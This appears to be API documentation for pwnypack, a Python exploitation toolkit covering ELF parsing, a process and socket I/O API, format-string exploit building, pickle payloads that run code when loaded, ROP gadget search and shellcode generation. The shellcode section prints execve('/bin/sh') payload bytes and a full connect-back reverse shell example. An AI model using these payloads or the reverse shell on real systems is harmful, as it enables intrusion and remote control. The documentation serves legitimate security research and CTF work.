Contains information about symbols. Called by the ELF class.

Parameters:
  • elf (ELF) – The ELF instance owning this symbol.
  • data – The content of the symbol definition.
  • strs – The content of the string section associated with the symbol table.
class Binding[source]

Bases: enum.IntEnum

Describes a symbol’s binding.

global_ = None

Global symbol

local = None

Local symbol

weak = None

Weak symbol

class ELF.Symbol.SpecialSection[source]

Bases: enum.IntEnum

Special section types.

abs = None

Symbol has an absolute value that will not change because of relocation

common = None

Symbol labels a common block that has not yet been allocated.

undef = None

Symbol is undefined and will be resolved by the runtime linker

class ELF.Symbol.Type[source]

Bases: enum.IntEnum

Describes the symbol’s type.

common = None

The symbol labels an uninitialized common block

file = None

Contains the name of the source file

func = None

Symbol is a function or contains other executable code

notype = None

Symbol has no type

object = None

Symbol is an object

section = None

Symbol is associated with a section

tls = None

The symbol specifies a Thread-Local Storage entity

unknown = None

Symbol has an unknown type

class ELF.Symbol.Visibility[source]

Bases: enum.IntEnum

Describes the symbol’s visibility.

default = None

Global and weak symbols are visible, local symbols are hidden

hidden = None

Symbol is invisible to other components

internal = None

Symbol is an internal symbol

protected = None

Symbol is visible but not preemptable

ELF.Symbol.content

The contents of a symbol.

Raises:TypeError – If the symbol isn’t defined until runtime.
ELF.Symbol.elf = None

The instance of ELF this symbol belongs to

ELF.Symbol.info = None

Describes the symbol’s type and binding (see type and

ELF.Symbol.name = None

The resolved name of this symbol

ELF.Symbol.name_index = None

The index of the symbol’s name in the string table

ELF.Symbol.other = None

Specifies the symbol’s visibility

ELF.Symbol.shndx = None

The section in which this symbol is defined (or one of the SpecialSection types)

ELF.Symbol.size = None

The size of the symbol

ELF.Symbol.type = None

The resolved type of this symbol (one of Type)

ELF.Symbol.type_id = None

The numerical type of this symbol

ELF.Symbol.value = None

The value of the symbol (type dependent)

ELF.Symbol.visibility = None

The visibility of this symbol (one of Visibility)

class ELF.Type[source]

Bases: enum.IntEnum

Describes the object type.

core = None

Core file

executable = None

Executable file

none = None

No file type

os = None

OS specific

proc = None

Processor specific

relocatable = None

Relocatable file

shared = None

Shared object file

unknown = None

Unknown object type

ELF.abi_version = None

The specific ABI version of the OS / ABI.

ELF.dynamic_section_entries

A list of entries in the .dynamic section.

ELF.entry = None

The entry point address.

ELF.f = None

The ELF file.

ELF.flags = None

The flags. Currently, no flags are defined.

ELF.get_dynamic_section_entry(index)[source]

Get a specific .dynamic section entry by index.

Parameters:symbol (int) – The index of the .dynamic section entry to return.
Returns:The .dynamic section entry.
Return type:ELF.DynamicSectionEntry
Raises:KeyError – The requested entry does not exist.
ELF.get_program_header(index)[source]

Return a specific program header by its index.

Parameters:index (int) – The program header index.
Returns:The program header.
Return type:ProgramHeader
Raises:KeyError – The specified index does not exist.
ELF.get_section_header(section)[source]

Get a specific section header by index or name.

Parameters:section (int or str) – The index or name of the section header to return.
Returns:The section header.
Return type:SectionHeader
Raises:KeyError – The requested section header does not exist.
ELF.get_symbol(symbol)[source]

Get a specific symbol by index or name.

Parameters:symbol (int or str) – The index or name of the symbol to return.
Returns:The symbol.
Return type:ELF.Symbol
Raises:KeyError – The requested symbol does not exist.
ELF.hsize = None

The size of the header.

ELF.machine = None

The machine architecture (one of ELF.Machine).

ELF.osabi = None

The OSABI (one of ELF.OSABI).

ELF.parse_file(f)[source]

Parse an ELF file and fill the class’ properties.

Parameters:f (file or str) – The (path to) the ELF file to read.
ELF.phentsize = None

The size of a program header.

ELF.phnum = None

The number of program headers.

ELF.phoff = None

The offset of the first program header in the file.

ELF.program_headers

A list of all program headers.

ELF.section_headers

Return the list of section headers.

ELF.shentsize = None

The size of a section header.

ELF.shnum = None

The number of section headers.

ELF.shoff = None

The offset of the first section header in the file.

ELF.shstrndx = None

The index of the section containing the section names.

ELF.symbols

Return a list of all symbols.

ELF.type = None

The object type (one of ELF.Type).

flow – Communication

The Flow module lets you connect to processes or network services using a unified API. It is primarily designed for synchronous communication flows.

It is based around the central Flow class which uses a Channel to connect to a process. The Flow class then uses the primitives exposed by the Channel to provide a high level API for reading/receiving and writing/sending data.

Examples

>>> from pwny import *
>>> f = Flow.connect_tcp('ced.pwned.systems', 80)
>>> f.writelines([
...     b'GET / HTTP/1.0',
...     b'Host: ced.pwned.systems',
...     b'',
... ])
>>> line = f.readline().strip()
>>> print(line == b'HTTP/1.0 200 OK')
True
>>> f.until(b'\r\n\r\n')
>>> f.read_eof(echo=True)
... lots of html ...
>>> from pwny import *
>>> f = Flow.execute('cat')
>>> f.writeline(b'hello')
>>> f.readline(echo=True)
class pwnypack.flow.ProcessChannel(executable, argument..., redirect_stderr=False)[source]

Bases: object

This channel type allows controlling processes. It uses python’s subprocess.Popen class to execute a process and allows you to communicate with it.

Parameters:
  • executable (str) – The executable to start.
  • argument... (list of str) – The arguments to pass to the executable.
  • redirect_stderr (bool) – Whether to also capture the output of stderr.
close()[source]

Wait for the subprocess to exit.

fileno()[source]

Return the file descriptor number for the stdout channel of this process.

kill()[source]

Terminate the subprocess.

read(n)[source]

Read n bytes from the subprocess’ output channel.

Parameters:n (int) – The number of bytes to read.
Returns:n bytes of output.
Return type:bytes
Raises:EOFError – If the process exited.
write(data)[source]

Write n bytes to the subprocess’ input channel.

Parameters:data (bytes) – The data to write.
Raises:EOFError – If the process exited.
class pwnypack.flow.SocketChannel(sock)[source]

Bases: object

This channel type allows controlling sockets.

Parameters:socket (socket.socket) – The (already connected) socket to control.
close()[source]

Close the socket gracefully.

fileno()[source]

Return the file descriptor number for the socket.

kill()[source]

Shut down the socket immediately.

read(n)[source]

Receive n bytes from the socket.

Parameters:n (int) – The number of bytes to read.
Returns:n bytes read from the socket.
Return type:bytes
Raises:EOFError – If the socket was closed.
write(data)[source]

Send n bytes to socket.

Parameters:data (bytes) – The data to send.
Raises:EOFError – If the socket was closed.
class pwnypack.flow.TCPClientSocketChannel(host, port)[source]

Bases: pwnypack.flow.SocketChannel

Convenience subclass of SocketChannel that allows you to connect to a TCP hostname / port pair easily.

Parameters:
  • host (str) – The hostname or IP address to connect to.
  • port (int) – The port number to connect to.
class pwnypack.flow.Flow(channel, echo=False)[source]

Bases: object

The core class of Flow. Takes a channel and exposes synchronous utility functions for communications.

Usually, you’ll use the convenience classmethods connect_tcp() or execute() instead of manually creating the constructor directly.

Parameters:
  • channel (Channel) – A channel.
  • echo (bool) – Whether or not to echo all input / output.
close()[source]

Gracefully close the channel.

static connect_ssh(*args, **kwargs)[source]

Create a new connected SSHClient instance. All arguments are passed to SSHClient.connect().

classmethod connect_tcp(host, port, echo=False)[source]

Set up a TCPClientSocketChannel and create a Flow instance for it.

Parameters:
  • host (str) – The hostname or IP address to connect to.
  • port (int) – The port number to connect to.
  • echo (bool) – Whether to echo read/written data to stdout by default.
Returns:

A Flow instance initialised with the TCP socket

channel.

Return type:

Flow

classmethod execute(executable, *arguments, **kwargs)[source]

execute(executable, argument..., redirect_stderr=False, echo=False):

Set up a ProcessChannel and create a Flow instance for it.

Parameters:
  • executable (str) – The executable to start.
  • argument... (list of str) – The arguments to pass to the executable.
  • redirect_stderr (bool) – Whether to also capture the output of stderr.
  • echo (bool) – Whether to echo read/written data to stdout by default.
Returns:

A Flow instance initialised with the process

channel.

Return type:

Flow

classmethod execute_ssh(command, arguments..., pty=False, echo=False)[source]

Execute command on a remote server. It first calls Flow.connect_ssh() using all positional and keyword arguments, then calls SSHClient.execute() with the command and pty / echo options.

Parameters:
  • command (str) – The command to execute on the remote server.
  • arguments... – The options for the SSH connection.
  • pty (bool) – Request a pseudo-terminal from the server.
  • echo (bool) – Whether to echo read/written data to stdout by default.
Returns:

A Flow instance initialised with the SSH channel.

Return type:

Flow

interact()[source]

Interact with the socket. This will send all keyboard input to the socket and input from the socket to the console until an EOF occurs.

classmethod invoke_ssh_shell(*args, **kwargs)[source]

invoke_ssh(arguments..., pty=False, echo=False)

Star a new shell on a remote server. It first calls Flow.connect_ssh() using all positional and keyword arguments, then calls SSHClient.invoke_shell() with the pty / echo options.

Parameters:
  • arguments... – The options for the SSH connection.
  • pty (bool) – Request a pseudo-terminal from the server.
  • echo (bool) – Whether to echo read/written data to stdout by default.
Returns:

A Flow instance initialised with the SSH channel.

Return type:

Flow

kill()[source]

Terminate the channel immediately.

classmethod listen_tcp(host='', port=0, echo=False)[source]

Set up a TCPServerSocketChannel and create a Flow instance for it.

Parameters:
  • host (str) – The hostname or IP address to bind to.
  • port (int) – The port number to listen on.
  • echo (bool) – Whether to echo read/written data to stdout by default.
Returns:

A Flow instance initialised with the TCP socket

channel.

Return type:

Flow

read(n, echo=None)[source]

Read n bytes from the channel.

Parameters:
  • n (int) – The number of bytes to read from the channel.
  • echo (bool) – Whether to write the read data to stdout.
Returns:

n bytes of data.

Return type:

bytes

Raises:

EOFError – If the channel was closed.

read_eof(echo=None)[source]

Read until the channel is closed.

Parameters:echo (bool) – Whether to write the read data to stdout.
Returns:The read data.
Return type:bytes
read_until(s, echo=None)[source]

Read until a certain string is encountered..

Parameters:
  • s (bytes) – The string to wait for.
  • echo (bool) – Whether to write the read data to stdout.
Returns:

The data up to and including s.

Return type:

bytes

Raises:

EOFError – If the channel was closed.

readline(echo=None)[source]

Read 1 line from channel.

Parameters:echo (bool) – Whether to write the read data to stdout.
Returns:The read line which includes new line character.
Return type:bytes
Raises:EOFError – If the channel was closed before a line was read.
readlines(n, echo=None)[source]

Read n lines from channel.

Parameters:
  • n (int) – The number of lines to read.
  • echo (bool) – Whether to write the read data to stdout.
Returns:

n lines which include new line characters.

Return type:

list of bytes

Raises:

EOFError – If the channel was closed before n lines were read.

until(s, echo=None)

Alias of read_until().

write(data, echo=None)[source]

Write data to channel.

Parameters:
  • data (bytes) – The data to write to the channel.
  • echo (bool) – Whether to echo the written data to stdout.
Raises:

EOFError – If the channel was closed before all data was sent.

writeline(line=b'', sep=b'\n', echo=None)[source]

Write a byte sequences to the channel and terminate it with carriage return and line feed.

Parameters:
  • line (bytes) – The line to send.
  • sep (bytes) – The separator to use after each line.
  • echo (bool) – Whether to echo the written data to stdout.
Raises:

EOFError – If the channel was closed before all data was sent.

writelines(lines, sep=b'\n', echo=None)[source]

Write a list of byte sequences to the channel and terminate them with a separator (line feed).

Parameters:
  • lines (list of bytes) – The lines to send.
  • sep (bytes) – The separator to use after each line.
  • echo (bool) – Whether to echo the written data to stdout.
Raises:

EOFError – If the channel was closed before all data was sent.

fmtstring – Format strings

The fmtstring module allows you to build format strings that can be used to exploit format string bugs (printf(buf);).

pwnypack.fmtstring.fmtstring(offset, writes, written=0, max_width=2, target=None)[source]

Build a format string that writes given data to given locations. Can be used easily create format strings to exploit format string bugs.

writes is a list of 2- or 3-item tuples. Each tuple represents a memory write starting with an absolute address, then the data to write as an integer and finally the width (1, 2, 4 or 8) of the write.

fmtstring() will break up the writes and try to optimise the order to minimise the amount of dummy output generated.

Parameters:
  • offset (int) – The parameter offset where the format string start.
  • writes (list) – A list of 2 or 3 item tuples.
  • written (int) – How many bytes have already been written before the built format string starts.
  • max_width (int) – The maximum width of the writes (1, 2 or 4).
  • target (pwnypack.target.Target) – The target architecture.
Returns:

The format string that will execute the specified memory

writes.

Return type:

bytes

Example

The following example will (on a 32bit architecture) build a format string that write 0xc0debabe to the address 0xdeadbeef and the byte 0x90 to 0xdeadbeef + 4 assuming that the input buffer is located at offset 3 on the stack.

>>> from pwny import *
>>> fmtstring(3, [(0xdeadbeef, 0xc0debabe), (0xdeadbeef + 4, 0x90, 1)])

marshal – Python marshal loader

This module contains functions to load and unserialize data (including .pyc files) serialized using the marshal module on most version of python.

pwnypack.marshal.marshal_load(fp, origin=None)[source]

Unserialize data serialized with marshal.dump(). This function works across python versions. Marshalled code objects are returned as instances of CodeObject.

Parameters:
  • fp (file) – A file or file-like object that contains the serialized data.
  • origin (dict) – The opcode specification of the python version that generated the data. If you provide None, the specs for the currently running python version will be used.
Returns:

The unserialized data.

pwnypack.marshal.marshal_loads(data, origin=None)[source]

Load data serialized with marshal.dump() from a bytestring.

Parameters:
  • data (bytes) – The marshalled data.
  • origin (dict) – The opcode specification of the python version that generated the data. If you provide None, the specs for the currently running python version will be used.
Returns:

The unserialized data.

pwnypack.marshal.pyc_load(fp)[source]

Load a .pyc file from a file-like object.

Parameters:fp (file) – The file-like object to read.
Returns:The parsed representation of the .pyc file.
Return type:PycFile
pwnypack.marshal.pyc_loads(data)[source]

Load a .pyc file from a bytestring.

Parameters:data (bytes) – The content of the .pyc file.
Returns:The parsed representation of the .pyc file.
Return type:PycFile

packing – Data (un)packing

pwnypack.packing.pack(fmt, v1, v2, ..., endian=None, target=None)[source]

Return a string containing the values v1, v2, ... packed according to the given format. The actual packing is performed by struct.pack but the byte order will be set according to the given endian, target or byte order of the global target.

Parameters:
  • fmt (str) – The format string.
  • v1,v2,... – The values to pack.
  • endian (Endian) – Override the default byte order. If None, it will look at the byte order of the target argument.
  • target (Target) – Override the default byte order. If None, it will look at the byte order of the global target.
Returns:

The provided values packed according to the format.

Return type:

bytes

pwnypack.packing.unpack(fmt, data, endian=None, target=None)[source]

Unpack the string (presumably packed by pack(fmt, ...)) according to the given format. The actual unpacking is performed by struct.unpack but the byte order will be set according to the given endian, target or byte order of the global target.

Parameters:
  • fmt (str) – The format string.
  • data (bytes) – The data to unpack.
  • endian (Endian) – Override the default byte order. If None, it will look at the byte order of the target argument.
  • target (Target) – Override the default byte order. If None, it will look at the byte order of the global target.
Returns:

The unpacked values according to the format.

Return type:

list

pwnypack.packing.pack_size(fmt, endian=None, target=None)[source]
pwnypack.packing.P(value, bits=None, endian=None, target=None)[source]

Pack an unsigned pointer for a given target.

Parameters:
  • value (int) – The value to pack.
  • bits (Bits) – Override the default word size. If None it will look at the word size of target.
  • endian (Endian) – Override the default byte order. If None, it will look at the byte order of the target argument.
  • target (Target) – Override the default byte order. If None, it will look at the byte order of the global target.
pwnypack.packing.p(value, bits=None, endian=None, target=None)[source]

Pack a signed pointer for a given target.

Parameters:
  • value (int) – The value to pack.
  • bits (pwnypack.target.Target.Bits) – Override the default word size. If None it will look at the word size of target.
  • endian (Endian) – Override the default byte order. If None, it will look at the byte order of the target argument.
  • target (Target) – Override the default byte order. If None, it will look at the byte order of the global target.
pwnypack.packing.U(data, bits=None, endian=None, target=None)[source]

Unpack an unsigned pointer for a given target.

Parameters:
  • data (bytes) – The data to unpack.
  • bits (pwnypack.target.Target.Bits) – Override the default word size. If None it will look at the word size of target.
  • endian (Endian) – Override the default byte order. If None, it will look at the byte order of the target argument.
  • target (Target) – Override the default byte order. If None, it will look at the byte order of the global target.
Returns:

The pointer value.

Return type:

int

pwnypack.packing.u(data, bits=None, endian=None, target=None)[source]

Unpack a signed pointer for a given target.

Parameters:
  • data (bytes) – The data to unpack.
  • bits (pwnypack.target.Target.Bits) – Override the default word size. If None it will look at the word size of target.
  • endian (Endian) – Override the default byte order. If None, it will look at the byte order of the target argument.
  • target (Target) – Override the default byte order. If None, it will look at the byte order of the global target.
Returns:

The pointer value.

Return type:

int

pwnypack.packing.p8(value, endian=None, target=None)

Pack signed 8 bit integer. Alias for pack('b', ...).

pwnypack.packing.P8(value, endian=None, target=None)

Pack unsigned 8 bit integer. Alias for pack('B', ...).

pwnypack.packing.u8(data, endian=None, target=None)

Unpack signed 8 bit integer. Alias for unpack('b', ...).

pwnypack.packing.U8(data, endian=None, target=None)

Unpack unsigned 8 bit integer. Alias for unpack('B', ...).

pwnypack.packing.p16(value, endian=None, target=None)

Pack signed 16 bit integer. Alias for pack('h', ...).

pwnypack.packing.P16(value, endian=None, target=None)

Pack unsigned 16 bit integer. Alias for pack('H', ...).

pwnypack.packing.u16(data, endian=None, target=None)

Unpack signed 16 bit integer. Alias for unpack('h', ...).

pwnypack.packing.U16(data, endian=None, target=None)

Unpack unsigned 16 bit integer. Alias for unpack('H', ...).

pwnypack.packing.p32(value, endian=None, target=None)

Pack signed 32 bit integer. Alias for pack('l', ...).

pwnypack.packing.P32(value, endian=None, target=None)

Pack unsigned 32 bit integer. Alias for pack('L', ...).

pwnypack.packing.u32(data, endian=None, target=None)

Unpack signed 32 bit integer. Alias for unpack('l', ...).

pwnypack.packing.U32(data, endian=None, target=None)

Unpack unsigned 32 bit integer. Alias for unpack('L', ...).

pwnypack.packing.p64(value, endian=None, target=None)

Pack signed 64 bit integer. Alias for pack('q', ...).

pwnypack.packing.P64(value, endian=None, target=None)

Pack unsigned 64 bit integer. Alias for pack('Q', ...).

pwnypack.packing.u64(data, endian=None, target=None)

Unpack signed 64 bit integer. Alias for unpack('q', ...).

pwnypack.packing.U64(data, endian=None, target=None)

Unpack unsigned 64 bit integer. Alias for unpack('Q', ...).

php – PHP related functions

pwnypack.php.php_serialize(value)[source]

Serialize a value for use with PHP’s deserialize() function. This function can serialize bytes, strings, integers, floats, booleans, None, lists, dicts and custom objects implementing __php__().

Parameters:value – The value to serialize.
Returns:The serialized form of value ready to be unserialized by PHP.
Return type:bytes

Example

>>> from pwny import *
>>> php_serialize([b'foo', u'bar', 42, 2.5, True, None, {'a': 'b'}])
b'a:7:{i:0;s:3:"foo";i:1;s:3:"bar";i:2;i:42;i:3;d:2.5;i:4;b:1;i:5;N;i:6;a:1:{s:1:"a";s:1:"b";}}'
class pwnypack.php.PhpObject(class_name, properties=None)[source]

Bases: object

Helper class to represent PHP objects for serialization using php_serialize().

Instances of this class act like a dictionary of properties that should be set on the deserialized PHP instance. You can prefix the property names with 'public ', 'protected ' or 'private ' to ensure the correct instance variables are set.

Parameters:
  • class_name (str) – The name of the PHP class to use when deserializing.
  • properties (dict) – The properties to deserialize in this instance.

Example

>>> from pwny import *
>>> o = PhpObject('Foo\Bar', {'protected fg': '#000000'})
>>> php_serialize(o)
b'O:7:"Foo\Bar":1:{s:5:"\x00*\x00fg";s:7:"#000000";}'

pickle – Pickle tools

pwnypack.pickle.pickle_invoke(func, *args, target=None, protocol=None)[source]

Create a byte sequence which when unpickled calls a callable with given arguments.

Note

The function has to be importable using the same name on the system that unpickles this invocation.

Parameters:
  • func (callable) – The function to call or class to instantiate.
  • args (tuple) – The arguments to call the callable with.
  • target – The internals description of the targeted python version. If this is None the specification of the currently running python version will be used.
  • protocol – The pickle protocol version to use (use None for default).
Returns:

The data that when unpickled calls func(*args).

Return type:

bytes

Example

>>> from pwny import *
>>> import pickle
>>> def hello(arg):
...     print('Hello, %s!' % arg)
...
>>> pickle.loads(pickle_invoke(hello, 'world'))
Hello, world!
pwnypack.pickle.pickle_func(func, *args, target=None, protocol=None, b64encode=None)[source]

Encode a function in such a way that when it’s unpickled, the function is reconstructed and called with the given arguments.

Note

Compatibility between python versions is not guaranteed. Depending on the target python version, the opcodes of the provided function are transcribed to try to maintain compatibility. If an opcode is emitted which is not supported by the target python version, a KeyError will be raised.

Constructs that are known to be problematic:

  • Python 2.6 and 2.7/3.0 use very different, incompatible opcodes for conditional jumps (if, while, etc). Serializing those is not always possible between python 2.6 and 2.7/3.0.
  • Exception handling uses different, incompatible opcodes between python 2 and 3.
  • Python 2 and python 3 handle nested functions very differently: the same opcode is used in a different way and leads to a crash. Avoid nesting functions if you want to pickle across python functions.
Parameters:
  • func (callable) – The function to serialize and call when unpickled.
  • args (tuple) – The arguments to call the callable with.
  • target – The internals description of the targeted python version. If this is None the specification of the currently running python version will be used.
  • protocol (int) – The pickle protocol version to use.
  • b64encode (bool) – Whether to base64 certain code object fields. Required when you prepare a pickle for python 3 on python 2. If it’s None it defaults to False unless pickling from python 2 to python 3.
Returns:

The data that when unpickled calls func(*args).

Return type:

bytes

Example

>>> from pwny import *
>>> import pickle
>>> def hello(arg):
...     print('Hello, %s!' % arg)
...
>>> p = pickle_func(hello, 'world')
>>> del hello
>>> pickle.loads(p)
Hello, world!

py_internals – Python internals

This module provides a dictionary that describes the internals of carious python versions. It is used in various parts of pwnypack ( pwnypack.bytecode and pwnypack.pickle).

Please note that this module is automatically generated by the build_py_internals.py script.

pwnypack.py_internals.get_py_internals(version=None, default=None)[source]

Given a version specification. It can be any dict which is returned verbatim, an index into PY_INTERNALS or None.

Parameters:
  • version – The python version to return the internals of.
  • default – The python version that will be looked up if version is None.
Returns:

The python internals for the requested version.

Return type:

dict

pwnypack.py_internals.PY_26 = {...}

This dictionary describes the internals of CPython 2.6.

pwnypack.py_internals.PY_27 = {...}

This dictionary describes the internals of CPython 2.7.

pwnypack.py_internals.PY_30 = {...}

This dictionary describes the internals of CPython 3.0.

pwnypack.py_internals.PY_31 = {...}

This dictionary describes the internals of CPython 3.1.

pwnypack.py_internals.PY_32 = {...}

This dictionary describes the internals of CPython 3.2.

pwnypack.py_internals.PY_33 = {...}

This dictionary describes the internals of CPython 3.3.

pwnypack.py_internals.PY_34 = {...}

This dictionary describes the internals of CPython 3.4.

pwnypack.py_internals.PY_35 = {...}

This dictionary describes the internals of CPython 3.5.

pwnypack.py_internals.PY_INTERNALS = {26: PY_26, 27: PY_27, 30: PY_30, 31: PY_31, 32: PY_32, 33: PY_33, 34: PY_34, 35: PY_35}

This dictionary describes the internals of various python versions.

rop – ROP gadgets

The ROP module contains a function to find gadgets in ELF binaries that can be used to create ROP chains.

pwnypack.rop.find_gadget(elf, gadget, align=1, unique=True)[source]

Find a ROP gadget in a the executable sections of an ELF executable or library. The ROP gadget can be either a set of bytes for an exact match or a (bytes) regular expression. Once it finds gadgets, it uses the capstone engine to verify if the gadget consists of valid instructions and doesn’t contain any call or jump instructions.

Parameters:
  • elf (ELF) – The ELF instance to find a gadget in.
  • gadget (bytes or regexp) – The gadget to find.
  • align (int) – Make sure the gadget starts at a multiple of this number
  • unique (bool) – If true, only unique gadgets are returned.
Returns:

A dictionary containing a description of the found

gadget. Contains the following fields:

  • section: The section the gadget was found in.
  • offset: The offset inside the segment the gadget was found at.
  • addr: The virtual memory address the gadget will be located at.
  • gadget: The machine code of the found gadget.
  • asm: A list of disassembled instructions.

Return type:

dict

shellcode – Shellcode generator

This module contains functions to generate shellcode.

Note:
The intended audience for this documentation is the user. Implementation details are left out where possible.

The idea is that you provide a shellcode generator environment with a highlevel declarative representation of the shellcode your want to assemble and the environment fills in the specifics.

The generic environments target X86, X86_64, ARM, ARM Thumb, ARM Thumb Mixed and AArch64 on the Linux OS. No restrictions are made on what kind of bytes end up in the binary output. If you use buffers, the code segment will need to be writable if you use the Mutable variants. The Stack variants require an initialized stack that is large enough to hold all the allocated data and buffers.

X86:

X86_64:

ARM:

ARM Thumb:

ARM with modeswitch to Thumb mode:

AArch64:

Specialized classes are also provided for X86 and X86_64. The MutableNullSafe and StackNullSafe variants attempt to generate binary output that does not contain NUL bytes, carriage returns and line feeds.

X86:

X86_64:

Each shellcode environment defines a set of registers that are available on the architecture and a set of system calls. These are available as properties of the respective environment.

The environment also provides a way to allocate strings and buffers. If you call alloc_data() with a bytestring (str on python 2, bytes on python 3) it will be allocated verbatim and an Offset is returned. If alloc_data() is called with a unicode string (unicode on python 2, str on python 3) it will be converted to a latin1 based bytestring and terminated with a NUL byte (\0).

alloc_buffer() can be used to allocate an uninitialized block of memory. It will not be embedded in the shellcode.

There are two ways to use these shellcode environments:

Declaratively defined shellcode

When using the declarative method, you create an instance of the shellcode environment which you then order to translate a list of high level operations.

There are two kinds of operations available:

  • SyscallInvoke: Invoke a system call. You don’t generally create your own instances directly. Each environment provides access to any available system calls as members which you call instead.
  • LoadRegister: Load a register with a given value (which can be a literal value, the memory address of a piece of data or a buffer or the result of a system call).
Examples:

The following example creates an instance of the LinuxX86 environment and assembles a piece of shellcode that just calls the exit system call.

>>> from pwny import *
>>> env = sc.LinuxX86()
>>> env.assemble([
...     env.sys_exit(0)
... ])
'1\xdb\xb8\x01\x00\x00\x00\xcd\x80'

To demonstrate how registers loading works, here’s an example that does the same thing but in a different way:

>>> from pwny import *
>>> env = sc.LinuxX86()
>>> env.assemble([
...     sc.LoadRegister(env.EAX, 0),
...     env.sys_exit(env.EAX)
... ])
'1\xc0\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80'

You can also use strings or bytes. If you use a unicode string, it will be UTF-8 encoded and zero-terminated. Bytes are allocated verbatim.

>>> from pwny import *
>>> env = sc.LinuxX86()
>>> env.assemble([
...     env.sys_write(1, u'hello', 5),
...     env.sys_exit(),
... ])
'\xe8\x00\x00\x00\x00]\x83\xc5 \xba\x05\x00\x00\x00\x89\xe9\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x801\xdb\xb8\x01\x00\x00\x00\xcd\x80hello\x00'

Or use lists as syscall arguments.

>>> from pwny import *
>>> env = sc.LinuxX86()
>>> env.assemble([
...     env.sys_execve(u'/bin/sh', [u'/bin/sh', None], None)
... ])
'\xe8\x00\x00\x00\x00]\x83\xc5\x151\xd21\xc0PU\x89\xe1\x89\xeb\xb8\x0b\x00\x00\x00\xcd\x80/bin/sh\x00'

Need a buffer to write something to? We’ve got you covered.

>>> from pwny import *
>>> env = sc.LinuxX86()
>>> buf = env.alloc_buffer(64)
>>> env.assemble([
...     env.sys_read(0, buf, buf.length),
...     env.sys_write(1, buf, buf.length),
...     env.sys_exit(0)
... ])
'\xba@\x00\x00\x00\x89\xe91\xdb\xb8\x03\x00\x00\x00\xcd\x80\xba@\x00\x00\x00\x89\xe9\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x801\xdb\xb8\x01\x00\x00\x00\xcd\x80'

Imperatively defined shellcode

When using the imperatively defined shellcode, you translate a python function to a set of shellcode primitives.

The set of operations you can use in your python function is limited. The properties of the environment (syscalls, registers, functions) are exposed as if they were magic globals: you cannot shadow them. From your shellcode generator you can call syscalls and other primitives of the environment, assign values to registers, use in-place addition/subtraction on registers and assign values to locals (f.e. allocated buffers or data). You can also access globals outside the shellcode generator function (f.e. pwnypack’s packing functions to construct data structures).

If you want to create a re-usable fragment for a commonly used subroutine, you can do so by creating a function and decorating it with the fragment() decorator. If such a function is called from within a shellcode function it will be translated in the context of the current shellcode environment. Do note however that fragments are inlined in the resulting shellcode, they’re not implemented as functions.

You translate a function by using the environment’s translate() class method.

Examples:

The following example creates an instance of the LinuxX86 environment and assembles a piece of shellcode that just calls the exit system call.

>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode():
...     sys_exit(0)
...
>>> shellcode()
'1\xdb\xb8\x01\x00\x00\x00\xcd\x80'

To demonstrate how registers loading works, here’s an example that does the same thing but in a different way:

>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode():
...     EAX = 0
...     sys_exit(EAX)
...
>>> shellcode()
'1\xc0\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80'

You can also use strings or bytes. If you use a unicode string, it will be UTF-8 encoded and zero-terminated. Bytes are allocated verbatim.

>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode():
...     sys_write(1, u'hello', 5)
...     sys_exit(0)
...
>>> shellcode()
'\xe8\x00\x00\x00\x00]\x83\xc5 \xba\x05\x00\x00\x00\x89\xe9\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x801\xdb\xb8\x01\x00\x00\x00\xcd\x80hello\x00'

Or use lists as syscall arguments.

>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode():
...     sys_execve(u'/bin/sh', [u'/bin/sh', None], None)
...
>>> shellcode()
'\xe8\x00\x00\x00\x00]\x83\xc5\x151\xd21\xc0PU\x89\xe1\x89\xeb\xb8\x0b\x00\x00\x00\xcd\x80/bin/sh\x00'

Need a buffer to write something to? We’ve got you covered.

>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode():
...     buf = alloc_buffer(64)
...     sys_read(0, buf, buf.length)
...     sys_write(1, buf, buf.length)
...     sys_exit(0)
...
>>> shellcode()
'\xba@\x00\x00\x00\x89\xe91\xdb\xb8\x03\x00\x00\x00\xcd\x80\xba@\x00\x00\x00\x89\xe9\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x801\xdb\xb8\x01\x00\x00\x00\xcd\x80'

You can also pass parameters to the shellcode function.

>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode(command):
...     sys_execve(u'/bin/sh', [u'/bin/sh', command, None], None)
...
>>> shellcode(u'ls -lR')
'\xe8\x00\x00\x00\x00]\x83\xc5\x1a1\xd21\xc0PU\x8dE\x07P\x89\xe1\x8d]\x07\xb8\x0b\x00\x00\x00\xcd\x80ls -lR\x00/bin/sh\x00'

Combining all that, here’s a somewhat larger example that also demonstrates using global and local variables, register aliases and fragments to implement a connect-back shell:

from pwny import *
import socket

@sc.fragment
def pack_sockaddr_in(addr, port):
    # Prepare the sockaddr_in struct:
    return pack(
        'H2s4s8s',
        socket.AF_INET,
        P16(port, endian=Target.Endian.big),
        socket.inet_aton(addr),
        b'........',  # Doesn't really have to be \0.
        target=target  # This is a fragment, target refers to the
                       # environment's target attribute.
    )

@sc.fragment
def exec_to_fd(fd, executable):
    # Set up register aliases (for convenience):
    arg0 = SYSCALL_ARG_MAP[0]
    arg1 = SYSCALL_ARG_MAP[1]

    # Call dup2 to connect stdin/out/err to the fd:
    sys_dup2(fd, 0)
    arg1 += 1; sys_dup2(arg0, arg1)
    arg1 += 1; sys_dup2(arg0, arg1)

    # Execute the command:
    sys_execve(executable, [executable, None], None)

@sc.LinuxX86Mutable.translate
def shell_connect(addr, port, shell=u'/bin/sh'):
    # Pack the sockaddr_in struct using a fragment:
    sockaddr = pack_sockaddr_in(addr, port)

    # Set up register alias (for convenience):
    socket_reg = SYSCALL_ARG_MAP[4]

    # Prepare socket:
    socket_reg = sys_socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
    sys_connect(socket_reg, sockaddr, len(sockaddr))

    # Call the fragment that calls dup2 and execve:
    exec_to_fd(socket_reg, shell)

linux – Linux X86

